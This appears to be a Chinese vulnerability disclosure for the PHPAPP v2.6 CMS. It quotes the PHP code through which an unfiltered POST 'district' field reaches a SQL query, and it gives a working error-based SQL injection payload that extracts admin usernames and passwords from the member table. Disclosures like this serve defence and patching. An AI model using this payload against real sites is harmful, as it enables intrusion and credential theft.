### 简要描述:
PHPAPP注入第六枚(无视过滤)
### 详细说明:
在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。
PSOT注入点:wwww.xxx.com/member.php?action=3&app=70&type=12 , 存在漏洞的文件在/phpapp/apps/map/member_phpapp.php
来看看漏洞是如何产生的/phpapp/apps/map/member_phpapp.php
```
function SetMapInfoAction(){
//地图反地址
if($this->GET['type']){
//print_r($this->POST);
if($this->POST['district']){
$searchsql=sprintf("WHERE name REGEXP '%s'",$this->POST['district']);
$category=$this->GetMysqlOne('catid'," ".$this->GetTable('category_city')." $searchsql");
if($category){
echo $this->GetSelectCategory('category_city',intval($category['catid']),'showselectcity');
}
}
}else{
}
}
}
```
在把$_POST的值赋$this->POST时,对类似于’string_s’的参数进行了过滤,只要结尾不是’_s’就可以绕过过滤。
可以看到:$this->POST['district']拼接成了$searchsql,然后带入了GetMysqlOne,看看GetMysqlOne
```
//读取单条数组
public function GetMysqlOne($key='*',$whereif=''){
$sqldata= array();
$query=sprintf('SELECT %s FROM %s',$key,$whereif);
$sqldata=mysql_fetch_array($this->MysqlQuery($query),MYSQL_ASSOC);
if (is_array($sqldata)){
return $sqldata;
}else{
return false;
}
}
```
没有过滤,直接拼接后执行SQL,造成注入
Phpapp可以显错,那就用error-based blind进行注入。
Pyload:(POST提交)
```
district=123' or (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x23,username,0x23,password)
from phpapp_member limit 0,1))a from phpapp_member group by a)b) or'
```
注入成功,管理员用户名及密码如下图中所示:
[<img src="https://images.seebug.org/upload/201412/252340373cdb39750dbda4f39e84f6979282905e.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/252340373cdb39750dbda4f39e84f6979282905e.jpg)
### 漏洞证明:
见 详细说明
暂无评论